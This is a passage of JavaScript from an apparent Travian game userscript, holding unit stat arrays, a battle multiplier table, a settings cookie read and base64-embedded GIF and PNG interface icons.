Array(70,45,10,960,1450,630,90,6,3,0);\t\t\t\t\t// Trebuchet\n\tgauls[8] = new Array(40,50,50,30750,45400,31000,37500,4,5,0);\t\t\t// Chieftain\n\tgauls[9] = new Array(0,80,80,5500,7000,5300,4900,1,5,1600);\t\t\t\t// Settler\n\tgauls[10] = new Array(0,0,0,0,0,0,0,6,0,0);\t\t\t\t\t\t\t\t// Hero\n\tgauls[11] = new Array(1,1,1,0,0,0,1,1,1,1,0)\n\tgauls[12] = new Array(0,0,1,1,1,1,0,0,0,0,0)\n\tnature = new Array(10)\n\tnature[0] = new Array(10,25,10,0,0,0,0,1,20,0);\t\t\t\t\t\t\t// Rat\n\tnature[1] = new Array(20,35,40,0,0,0,0,1,20,0);\t\t\t\t\t\t\t// Spider\n\tnature[2] = new Array(60,40,60,0,0,0,0,1,20,0);\t\t\t\t\t\t\t// Serpent\n\tnature[3] = new Array(80,66,50,0,0,0,0,1,20,0);\t\t\t\t\t\t\t// Bat\n\tnature[4] = new Array(50,70,33,0,0,0,0,2,20,0);\t\t\t\t\t\t\t// Wild boar\n\tnature[5] = new Array(100,80,70,0,0,0,0,2,20,0);\t\t\t\t\t\t// Wolf\n\tnature[6] = new Array(250,140,200,0,0,0,0,3,20,0);\t\t\t\t\t\t// Bear\n\tnature[7] = new Array(450,380,240,0,0,0,0,3,20,0);\t\t\t\t\t\t// Crocodile\n\tnature[8] = new Array(200,170,250,0,0,0,0,3,20,0);\t\t\t\t\t\t// Tiger\n\tnature[9] = new Array(600,440,520,0,0,0,0,5,20,0);\t\t\t\t\t\t// Elephant\n\t// Travian: Battle Analyse\n\n\tvar pdt = new Array();\n\n\tpdt[0]=[1];\n\tpdt[1]=[1.1];\n\tpdt[2]=[1.2];\n\tpdt[3]=[1.3];\n\tpdt[4]=[1.4];\n\tpdt[5]=[1.5];\n\tpdt[6]=[1.6];\n\tpdt[7]=[1.7];\n\tpdt[8]=[1.8];\n\tpdt[9]=[1.9];\n\tpdt[10]=[2];\n\tpdt[11]=[2.1];\n\tpdt[12]=[2.2];\n\tpdt[13]=[2.3];\n\tpdt[14]=[2.4];\n\tpdt[15]=[2.5];\n\tpdt[16]=[2.6];\n\tpdt[17]=[2.7];\n\tpdt[18]=[2.8];\n\tpdt[19]=[2.9];\n\tpdt[20]=[3];\n\n\t//var lvlpdt = 0;\t// make it global here. ;)\n\tvar nbunit = readCookie(\"nbunit1\" + server);\n\tif (nbunit == null)\n\t\tnbunit = '';\n\telse\n\t\tnbunit = unescape(nbunit);\n\n\tvar actual = new Array(4);\t\t// Informacion de recursos almacenados\n\tvar total = new Array(4);\t\t// Capacidad de los almacenes y granero\n\tvar produccion = new Array(4);\t// Produccion por segundo\n\tvar imagenes = new Array();\t\t// Imagenes pre-cargadas\n\n\t// Se estima cada linea como una altura de 20 pixeles // Il est estimé que chaque ligne une hauteur de 20 pixels\n\tvar pixelsPorLinea = 20;\n\n\t// images du script\n\tfunction loadImage(){\n\t// Imagen de un sobre para enviar IGM\n\timagenes[\"igm\"] = 'data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1QsKFws6qttDxQAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJTVDvZCVuAAAAkUlEQVQY05XQTUpDQRAE4K8yz9BuPEduEH8C2Tw8haeT3CQbPZEiIeNmhLdIAvamqerqaqqDdxxwcr0mvAWv+MYHfi4I13hErXCuqmOSp9batFS11qYk26o64gzzmCXJPsl64DvskYHn1cKo995PvfdnPOBl5OjLa/PY3qEGtxm9Bh/MfwG/8Hkj4Bb3+c/rfgHKwRzhskmMfQAAAABJRU5ErkJggg==';\n\t// Imagen compuesta para el mercado con 3 secciones: enviar recursos, compra y venta\n\timagenes[\"mercado\"] = 'data:image/gif;base64,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';\n\t// Imagen compuesta para militar con 4 secciones: plaza de reuniones, cuartel, establo / corral y taller\n\timagenes[\"militar\"] = 'data:image/gif;base64,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';\n\t//image admin\n\timagenes[\"admin\"] = 'data:image/gif;base64,R0lGODlhRgBkAOf/AABmALymeCdkjF2EnHWVp5GVl7q8vaCmpxpvaa60s8XIxxyCTdTX1U9+WRGSKFuHYVWAWhWdDi99KyOIHBCjA3ihczSeInOOb0meNGGkRmx/Ypu1iYSXc32mTaCxjLfLl3iHVdTgtY6eXm9xQ6SkZZqZc5OPMrKwlKqlc5aJWvS/Hee4KfvJMNWsL7ehVsiXCNuoD7OLFkY4D3BZGrWRK8GaLoBnH0o8E0M2EkY5E3tkI7iWNlhIG6aJNf3QU6qNPmRTJUE3GkM5HYhzO5B7QUc9IUE4H1BFJ5eDSoZ0Qkk/JEI5IVZLLKeTW5eFVUE6Jv7il09HL0E7KvzkpIV5Wf/rtEI9L8i7l/7uw//xyoeAbf7y0WplV8nAp0E+NqiikP723//67KqIMsWhSJB2OEw/HvjQZrSXTcqpV/3YdmBSL0U7ImhaN/3ch4x6TUU8JsSrb0pBK2xfP0Y+KlRMN72rfZ+Qav3nrV1VQZOHaE1HOOfVqbephmhgTP7rvNTEnUZBNJmRfnVvYP7z2N/Yxv/45uS5VXdgL+rEcndkOvLPfcCjZPbVjX9wTvjbm8CsgamZd3RqU/vmt/nnwIF4ZKyii/vszLSqk0xIP1JORVtYUZJxLZ6AQYFpObSXXtS3fK+Ya5KBX8iziI6FctTJs0VCPP315a2NUtWuZpN5SevIiu7OlLaec/LVn7Wif/besaWahr+1o+/jzbeununfzNiiRuS4bpR6UPLXqfXfvPThw/jmyPjr1vvv3Prx4qiDS7+XWuO7gu/cv/XlzbqIR5BxRntjQ5V8W+fElNS5k+jKo+TSus6RSbSBQZ1zQJ95S5l1SJJzTaSIZvHWtIxxU+XXyGpLK6Z3R4hnR6R+VuW7ksCHVN2tgdefb51sRtGQXm1MM7mSdKlsQX5UNnVRN+WkdqeAZZBuV+OwjaBkPcB7T4hXOcFyQ7ptQ8eGX+HRyJZbPuK8qLxpQ7ZpRLJlQ8h2TrlxT6hoTuGmkODEuqxeQ6VYQ7xzXt+hj3l5ef///yH+FUNyZWF0ZWQgd2l0aCBUaGUgR0lNUAAh+QQBCgD8ACwAAAAARgBkAAAI/gD5CRxIsKDBgwgTKlzIsKHDhxAjSpxIsaLFixgzatzIsaPHjyBDihxJsqTJkyhTqlzJsqXLlzBjypxJs6bNhgcMKGBAq2dPBgoMFKh54MPAJxs+/FuKY6nTpQZeFmAQpl8INk+XhgmDY2vWpaaEppzar18YEmG+/tvaVe1TBUNJTl1q6YOstG5NNXWbVcFIp2FMVXqilK9evk/ThjnAb0bHAhuySvHHZQTivVlt2IiiVoEcEho1Ld20FMYIU1b+MQBx+esMG69fc9b6LwrojE5V6FYBI4YaAwcs9wX6AYeCnUtJxIYN+3WQtCDC+L34VPeL3TEKFJADozuTGMd1/iowHjQo8+XMmQfpOp0iLafXecc3weCAv92xYHRgwJ8Bjv4MBHGeZq8NOMMnzxnAwEQMVLebbjH4YwAXNui2CRsyjACUTjgYoKABmg1o4IGfkCBHWB+QAlGDuT34YAww6GYDKcLoMMMHO413nAIiFoheFLZFIcc/tBhwgQgOMdBPdfG5uBsMsQhDBQ4xbNAfeTNkuVyW5xWIAw62BdEPULQ0xF91MTrJm25A3GAEJV3cAMKVCsziI4F4xhbFJ1/KUaKAILSnkAJPxZimdU/qJkclQciAgwxB5IhDKUCBICCBW742BQl9fjIFlSYk0FBWah5qKA9yyIGDFEzYIGl5/iD4eWlsseFAAqdRBAFCrk5pN2hWXDhx6IMxvsADDsJM8iUPMpRnHH+fRAHmJ3JwWWAQJPhjnz+pBuFUTgq999QsV1AxRJNPwoZstUAII0h/N+QYLQ5TrBdtczgEIaQcu+76FmMIEZrVMlxI0QUsVNiQZneNjDIDD8KQckUllZTnqk5TSFsvDiWCQEIQn8Sak30HkPBVQuI+RbARyF4BiwkvdCeDETd0oUsXs5zQxQk5usofCRoHAfLGn4Hg6RRII/1JVqIaZIBapAhyBLKkdHFFIA/LoMUlpaAACynLRAKLxeVNcQC9QpOw8SdH1ztDEEib/FRcBQmc1QmBrKfL/gmVMIEDKZUIogWNeACxahBXwJuj0hljuza1nr5tAwgZZ1VAVAWl/BQpnEuxzDKw+K1zCZecwIUMPAjCBQ6XvCpeFElz+3i3WsoxxZBMG+TWJJUsI0wlpIQexCSXlHAFyzLYwIUgsIzNYX/HxWJ70gZwzHYQtMLO4lMHLDjQ026RIMwyXdBYCg68B3ICLJzOIEgXdFjJ338MiHdcL5QjneoUIIDgnA3YUksBBLW9rCiIASP43TJiATZYkC4QIhCBDTQBggPOD3pB4Y8CSJA/pOlLM4FSAF6eYooDENAtH1LAB0ZgNWF04RKVYN8MRFC/nQCIfgCqoQJMwQS1TYE//lHYkYJMkZXFYE4gBQSLanK0Iy1U4gowhAUEN3CcHPonhxkEynG2sIdP6LB+7wAfYMKQgKbxYzxfSqMa18hGHIigjXCMoxzhCLAzEnGEW9mRHsOjxT3a8IZW9KMfE1AJ/hjgjoAxgBkP+ZUwKEiPGqyhAXyRgAMkAChWxCGAMrijSNowjHIzYPcEskO16NAAIpDfI0XgD0xwwUN/vJIVURmDGZSnPzrBJItE0Jc6KkBzTjmgDWL2ghewQYPASUABumfFK+YQCC+apQIiyMuvAGcgDCCiNY8Tn+68wAYaqo8vCuCPTgISQCNQQQxcFAMNxjKJS1FAHXliSgOAQE28/gGPTvwxghCesz/qxKd++JMAHOCBUCNcShkJAkyn8GhN7LTBJGewThW8QAQWfBZ/hoVPFVhGAXNSC7iwicIYoGs3L3iCAWYQo0TooDd/xOEMBIoo3cjzmCIVlBizwoCKxigGCvtpmmzgu3Vm8T8W4yhKUbqTPsDzHwMkyFP/sYEHKSxmOCAWE2ZwAzzAoI8dsqEWhAGIkz7oBXgAjj8EIUDvIbGR/zDBwoapgiydVQtGQBwMYqrBIJyAokAtFR1C0b0DUKEMXzlAmaRaxH+IwKppJNYsdIEHK5DCZ/M7Dg5scIllcMkGWX0RFULBgMtRgRKRecoRSfqVez6pNzO1/ihvdJEFQOAgEjy44XFEsIlALCMIRohBLW3Ag90EYbT1YcBoMbMUt7KWVB3tTl1zAAtdLEMNNjhmZhXQgRgEQhcFG8BmhbsJG8QgElSIhAISoAA8REIG1YTqYguSRNd2lDdq0IWdbFDe8h4BBFQ8DhcewDspBCEGUrgBUIVxhVBQgQ7/kKcR6EDRvayWIO94S